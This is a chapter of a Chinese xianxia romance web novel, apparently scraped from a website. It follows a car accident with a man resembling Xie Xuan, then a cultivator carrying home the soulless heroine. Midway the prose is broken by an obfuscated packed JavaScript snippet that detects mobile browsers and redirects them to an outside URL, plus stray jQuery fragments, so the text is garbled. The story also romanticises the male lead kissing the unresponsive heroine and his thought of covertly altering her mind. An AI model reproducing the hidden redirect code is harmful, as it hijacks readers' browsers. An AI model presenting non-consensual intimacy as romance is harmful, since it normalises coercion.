36. 追到哪里都可以

作品:《因为师尊他觊觎多年

    这场景,根本就是他爹的经历过一次吧?!


    刺耳的刹车声,突如其来的黑影,还有那种即将坠入异世的眩晕感。孟沅攥着方向盘指节发白。


    那天她不就是这样差点撞到凭空出现的人,然后稀里糊涂穿进了书里吗?


    ……怎么又来一次啊?


    车头前的男人面无表情盯着她,不自觉微微歪了脑袋,似乎在思考些什么。那张脸是谢玄的模样,却又微妙地不同,眼神少了几分说不清的沉郁冷漠,多了几分刚入世的明净澄澈。


    就像当初在蓬江,她一眼就认出谢玄是夷渊的化身。现在她同样能感觉到,眼前这个人,与她所熟识的夷渊,似乎有某种本质的不同。


    ——砰砰砰!


    她被不耐烦敲车窗的中年大叔吓了一条。


    大叔是后面追尾的黑色轿车车主,操着一口方言没好气打断她思路:


    “私了还是报警哇?”


    报警?


    孟沅愣着看向前面,谢玄还站在车头,用一种近乎动物观察人类的目光望着她。


    她有点犯难——行车记录仪里明显记录了他突然现身的影像。报警了警察叔叔一查监控,交通事故立马上升成灵异事件,到时候谢玄会怎么说,他如果真的是夷渊,会不会满嘴修真神怪把她拉下水?


    “私了私了。”


    她一个脑袋两个大,下车绕到后面检查伤势不算太重的保险杠,拍了照和中年大叔各自给修车店打电话问报价。


    谢玄便默默踱步到他们之间,很有兴致地观察他们在和谁说话。


    中年大叔刚出门上班就碰到个全责追尾,憋了一肚子火,此时被瞧得更加不爽,挂了电话扯着嗓子喊:


    “侬这个小伙子干什么哇!侬不闯红灯我们机动车会追尾?出社会之前没有家长教你走路看灯的伐?”


    忽然被劈头盖脸指责一通,谢玄没生气也没犟嘴,转头看向孟沅,一直等到她打完电话,才慢悠悠开口说了第一句话:


    “我是她家的。”


    ?!


    孟沅一惊差点没把手机甩出去,被大叔满脸错愕地来回在她和谢玄之间巡视,赶紧在对方脑子里制造出任何情侣吵架当街拦车的炸裂新闻前拍板:


    “八百私了一口价!”


    拉扯一番,微信余额最后只多了五百,换保险杠估计还得倒贴。大叔白了他们一眼,拉开车门扬长而去,留下孟沅在原地和谢玄互相瞪着对方。


    她挠挠额头,颇为无奈地坐回车里,没想到副驾车窗又被人笃笃笃敲响。


    按下车窗,露出谢玄十分礼貌的笑:


    “可以进来吗?”


    孟沅眼皮直跳,看了看前后左右的车流,踟蹰良久还是干不出把人当场一丢大路朝天的事,叹了口气,认命地点头默许。


    车子发动了,她却有点茫然自己要去哪,旁边谢玄从车载电脑屏一直观察到后座上堆的靠垫软毯,偶尔流露出一丝好奇宝宝看世界的茫然。


    “你去哪?”她装作十分不在意地随口一问。


    谢玄顿了顿,伸手在身上翻找两下,找出一个小巧的皮夹子,打开是一堆证件,他一边翻,一边平静回答:


    “我们不是认识吗?”


    “谁说的!”孟沅下意识拔高嗓音。


    他似乎在皮夹子里看见某个十分有趣的东西,小心翼翼地把它扯出来,摊在手心研究。


    孟沅没忍住往那边一瞥——是身份证……他居然有身份证。


    “那刚才你为什么不否认?”


    反应了一会,孟沅明白过来,谢玄说的是刚才那句:他是自己家的。孟沅抿着嘴思考怎么用善良单纯来给自己开脱,以及再说下去会不会发生辛辛苦苦穿回家一油门轰回解放前的惨案,又听见他平静地问了一句:


    “这个怎么用?”


    某新款手机的屏幕在他手里亮起,还弹出来几条微信消息,映亮了孟沅的脸,也给她别开生面的精神状态雪上加霜——


    他,居然……


    还有手机?


    *


    秘境片片坍塌,魔主此刻缩在角落,也被一道剑光映亮了念体。


    当然如果可以的话,它宁愿自己现在最好直接被吓晕过去不要清醒着面对。


    那道曾经冰封魔潮的无情剑稳稳指着自己命门,玄衍面色冰寒几乎杀意凛冽,怀里抱着的是眼神空洞人偶一般的圣女。


    “她怎么了?”玄衍冷冷开口。


    他已经破了魔阵,拿回了属于自己的七情六欲,连带着已经被融合的孟沅的那份情欲,一起收回灵台。


    魔主哆哆嗦嗦,心说天呐我怎么会知道,按理来说她只是丢了情欲不是丢了魂,怎么现在只剩了一具空荡荡的壳子?


    眼瞅玄衍这个疯样,倒像真被圣女迷了心智了,但她工作真的有必要这么出色吗?知不知道这下给它惹了大麻烦了!


    蓄势待发的剑意逼得魔主快要崩溃,好半天才在脑子里颤巍巍组织好措辞:


    “圣……孟、孟小姐是担忧你走火入魔,无奈出此下策,你也能看懂此阵效用吧,眼下她这个境况确实不是阵法所致啊!”


    或许是这番说辞入了玄衍的耳,亦或是那些本该属于孟沅的、鲜活的喜怒哀乐,此刻正在他灵台里生根发芽,压得滔天孽力寸寸退散,魔主终于在威压下得了片刻喘息,赶紧小心补上几句:


    “魔族有秘传召魂之法,若以养魂木为载,辅以聚魄法阵,孟小姐也未必毫无转圜之机。”


    似乎是被召魂的法门劝动,玄衍目光隐痛地描摹着怀中人眉眼。


    刚劫后余生般松了脑子里紧绷的弦,魔主又被他忽然挑回的眼神吓得念体一震。


    “你最好说到做到,否则北冥也不必再盼魔主降世了。”


    心智通透的如它立刻便心如死灰地认清了自己作为魔族希望很可能要长期给玄衍打工的事实,不禁满腔凄怆。


    唉,后世笔书上不知会留下自己怎样浓墨重彩的一笔……


    玄衍没有绑着它,估计也是算准了自己没有出逃的本事,只把它放在袖中,带回了沧瀛峰。


    路过青云山大门时,魔主瞧见浩浩荡荡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581184|168760||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的一队深色衣袍的修士神情凝重地往西南飞去。想来,几个弟子在荆山的遭遇已经被传回了宗门,急得某位大人物只恨不得亲自出山了。


    但玄衍倒是对那边全副武装的架势毫无所动,给险些冻成冰块的它丢了个避寒决,一入雪宫便隔绝闭户,抱着了无生气的圣女进了主殿。


    魔主再麻木,跟了一路此刻也隐约感觉到玄衍对圣女的情愫遐思不同于正常师徒。它悄咪咪缩到庭院里一株簌簌落花的雪薇树下,修复被正道畸恋狠狠冲击碎了的魔生观。


    奈何它实在是耳聪目明,无可避免地听见主殿紧闭大门中传来极尽温柔的执拗低语:


    魔主一个激灵,忙不迭转过身关闭五感生怕听见什么不该听的。


    ……真是要了命了,它可还想活着回北冥啊!


    “这次在外面也转了一圈,有什么意思呢?”


    夷渊靠在寒玉榻上,把形容呆静的女子搂在怀中,将她发间钗饰取下,又脱去两人的外袍,只剩下一袭薄薄的白色里衣。


    青丝如瀑悉数垂落在他胸膛上,夷渊修长的手从发间穿过,取了一缕柔柔缠绕指尖,低头看着怀里孟沅木然无神仍不掩明媚秀丽的脸,忽然牵出一抹笑,用发尾轻轻蹭着她的脸颊。


    “倒是从没见过你这样温顺听话的样子。”他俯身在她被蹭得软软的脸上亲了一口,又用坏笑着指腹捏了捏。


    “好乖啊,可以欺负你了?”


    怀里人仍旧没有反应,只呆呆地望着前方。夷渊心里仿佛一盆冷水浇下来,什么浓情蜜意都被这道空泛目光浇得一片苦寒,心里越是疼爱,越是有尖锐的刺痛往深处一点点地钻磨。


    从她最开始对他展露出抗拒的时候,夷渊便慎重思考过要不要直接侵入她灵识。反正也是察觉不出的手脚,就叫她以为缱绻情意都是油然而生,和自己是天定珠联璧合的一对。


    直到有一次凌晨回沧瀛峰,听到她忽然从榻上跳下来打开房门。望进那双清澈的、等着自己归来而一夜未阖的眼睛,他才体悟到了那股因为爱人似是而非的回应所带来的强烈悸动。


    巨大的喜悦冲乱了他长久以来步步为营细水慢流的圈套,只想把凉玉一样的身体深深揉进骨肉里,铤而走险差点让她察觉了自己的意图,后来又不得不扯些过食丹药的拙劣谎话来遮掩。


    好在,她并没有厌弃自己,温驯而懵懂地一步步走近,近到他真的不再窥探她所感所想,为她主动看过来的每道视线而神魂激荡,全心全意奔着两情相悦生死相依去了。如今,才会被这份隐秘周全的脱身之法打得溃不成军。


    “不是好奇我每月初二在做什么吗?”


    他牵起垂在榻边的纤纤素手,将五指一根一根仔细地插进去,半点间隙也不留地紧紧扣住,拉到唇边亲吻手背。


    可终究还是觉得这样浅尝辄止的亲近不够解了心里灼烧般的痛渴,另一手抬起她的下巴,在娇软樱唇上自|慰般吮舔缠吻。


    良久,微喘着停下抚摸她被磋磨的有些红肿的唇瓣。


    “……沅沅,你不清楚我能追你到哪里。”